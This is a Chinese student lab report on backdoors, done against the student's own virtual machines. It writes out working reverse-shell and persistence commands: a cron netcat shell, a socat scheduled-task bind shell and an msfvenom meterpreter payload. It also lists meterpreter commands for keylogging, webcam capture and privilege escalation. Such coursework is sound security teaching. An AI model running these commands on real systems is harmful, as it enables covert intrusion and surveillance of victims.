Exp2 后门原理与实践 20155113徐步桥
Exp2 后门原理实践
1. 实验目标
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell使用MSF
- 使用meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
2. 实验原理
2.1 后门
- 后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
2.2 nc/socat
- nc:在网络工具中有“瑞士军刀”美誉的NetCat, 在我们用了N年了至今仍是爱不释手。本身并非攻击软件,但是由于其强大功能往往被用于做很多“黑暗”的事情
- socat:Netcat++,超级netcat工具
2.3 Metaspolit meterpreter
- Metaspolit:集成大量程序模块,可以随时根据用户需求拼装成新的后门渗透软件的设计工具。
3. 实验过程
3.1 nc的使用
3.1.1 windows获取linux权限
-
首先调出linux虚拟机的ip地址。
-
linux虚拟机通过nc监听5113端口。
-
Windows通过5113端口连接linux虚拟机,linux虚拟机迅速响应,从而获得Windowsshell。
3.1.2 linux获取windows权限
-
首先调出Windows虚拟机的ip地址,
-
Windows虚拟机通过使用nc在5113端口监听。
-
linux虚拟机通过5113端口连接Windows虚拟机,Windows虚拟机获得linuxshell。
3.1.3 nc传输字符串
- 回到nc实际功能了,双方只要一方开启某一端口的监听,另一方主动通过改端口连接对方的IP地址,就可以建立会话。比较简单。
3.1.4 使用netcat获取linux主机操作Shell,cron启动
- 首先需要设置cron,这是linux下一种计划启动项目,通过设置参数即可以定时启动所需要的操作。此时我们向crontab的最后一行添加以下代码。代表在每小时的第16分钟主动连接172.20.10.11:5113。
16 * * * * /bin/netcat 172.20.10.11 5113 -e /bin/sh
- 然后只需要在Windows下开启监听即可,在时间到了之后,虽然操作界面没有明显的变化,但是已经可以操作linux了。
3.1.5 使用socat获取Windows主机操作Shell, 任务计划启动
- 首先需要在Windows下设置计划启动项目,设置操作和触发器,,在添加参数一栏填写
tcp-listen:5113 exec:cmd.exe,pty,stderr
-
这个命令的作用是把cmd.exe绑定到端口5113,同时把cmd.exe的stderr重定向到stdout上,设置触发条件为锁定自启动。
-
在linux下主动连接Windows主机的5113端口。
socat - tcp:172.20.10.11:5113
- 锁定Windows主机,即可获取shell。
3.2 Metaspolit设计后门渗透程序
- 用msfvenom生成一个windows平台的反弹式后门程序,连接端口为9190。输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=9190 -f exe > 20155110_backdoor.exe
- 解释一波:
指令 | 意义 | 详解 |
---|---|---|
-p | 使用的payload | payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode. |
-x | 使用的可执行文件模板 | payload(shellcode)就写入到这个可执行文件中。 |
-i | 迭代次数 | 编码器的迭代次数。如上即使用该编码器编码5次 |
-e | 编码器 | 使用的编码器,用于对shellcode变形,为了免杀 |
-b | 去除字符 | badchar是payload中需要去除的字符。 |
LHOST | 反弹回连的IP | 程序需要反弹回连控制机,可以穿透防火墙 |
LPORT | 回连的端口 | 程序需要反弹回连控制机,可以穿透防火墙。这里可以使用一些常用端口,如https的443端口等 |
-f | 文件类型 | 生成文件的类型是什么,比如这里就是一个.exe文件 |
-
利用nc传输功能将后门程序传输进靶机。
-
在控制端开启监听,当我们打开靶机的后门程序,控制端主机立刻有了反应,继续输入指令,就可以获取相应的信息了。
-
当我们尝试提权发现无法提权。
-
但是...当我们用管理员权限运行这个程序,嘻嘻~
-
好的,让我们总结一波
指令 | 意义 |
---|---|
keyscan_start/_dump/_stop | 启动/输出/停止键盘记录 |
webcam_snap | 拍照 |
webcam_stream | 录像 |
getsystem | 提权 |
run migrate | 进程迁移 |
run checkvm | 检查是否为虚拟机 |
run vnc | 启动主机图像界面 |
4. 实验总结与体会
4.1 问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
从网络上下载非法盗版资源,在其中捆绑了非法软件。
- 例举你知道的后门如何启动起来(win及linux)的方式?
win可以使用计划启动,或者与一般软件做捆绑。linux可以通过编辑定时启动来实现自启动。
- Meterpreter有哪些给你映像深刻的功能?
强大的功能组织能力和进入靶机系统之后的破坏力。可以说从用户隐私到系统进程,为所欲为,太可怕了!!!
- 如何发现自己有系统有没有被安装后门?
安装杀毒软件、检查可疑进程、检查端口占用情况。
4.2 遇到的问题及解决
- 这次实验因为原理比较清晰,操作也不是很复杂,所以问题不大。唯一碰到的问题就是如果实验一下子没有做完而连接wifi不同,可能会造成两台虚拟机的ip地址变动,需要及时更改,另外就是设置cron定时启动的时候输错了*号导致出错,不过很快得到解决。